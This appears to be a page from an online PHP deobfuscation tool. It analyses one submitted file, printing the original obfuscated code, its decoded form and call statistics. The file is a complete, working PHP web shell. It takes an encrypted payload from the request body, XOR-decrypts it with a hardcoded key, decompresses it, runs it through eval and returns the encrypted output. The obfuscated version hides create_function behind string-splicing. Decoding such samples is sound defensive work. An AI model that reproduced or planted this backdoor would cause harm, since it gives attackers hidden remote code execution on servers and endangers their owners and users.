Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $h='functio`!n x`!($t,$k`!){$c=s`!trlen($k`!);$l=st`!rle`!n($t);$o`!=""`!;f`!or($i=..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="e10adc39";$kh="49ba59abbe56";$kf="e057f20f883e";$p="7PKiEqoGm0BAgDB5";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$h='functio`!n x`!($t,$k`!){$c=s`!trlen($k`!);$l=st`!rle`!n($t);$o`!=""`!;f`!or($i=0;$`!i<$l;){f`!or(';
$l='`!end_cle`!an();$`!r=@bas`!e64_en`!code`!(@x(@gzc`!ompr`!ess($o)`!,$k))`!;pri`!nt("$p$kh`!$r$kf");}';
$e='`!v`!al(@gzunc`!ompress`!(`!@x(@`!base6`!4_dec`!ode($m[`!1]),$k)));$o`!=@ob_ge`!t_`!contents(`!);@ob_';
$a=str_replace('Q','','QcrQeaQtQe_funcQtQion');
$B='`!$j=0;(`!$j<$c&&$`!i<$l);$j`!++,$i+`!+){$o.=$`!t{$i}`!^$k{$`!j};}}ret`!urn `!$o;}if`! (@preg_`!m';
$i='`!$k="e10`!adc39";$`!kh="49ba59a`!bbe`!56";$`!kf="e057f20`!`!f883`!e";`!`!$p="7PKiEqoGm0BAgDB5"`!;';
$z='`!atc`!h("/$kh(.`!+)$kf/"`!,@file`!_get_con`!ten`!ts("php`!://inpu`!t"),`!$`!m)==1) {@ob_`!start();@e';
$F=str_replace('`!','',$i.$h.$B.$z.$e.$l);
$X=$a('',$F);$X();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 71ea481f957c35ceb7ae577b066e75b8 |
Eval Count | 1 |
Decode Time | 113 ms |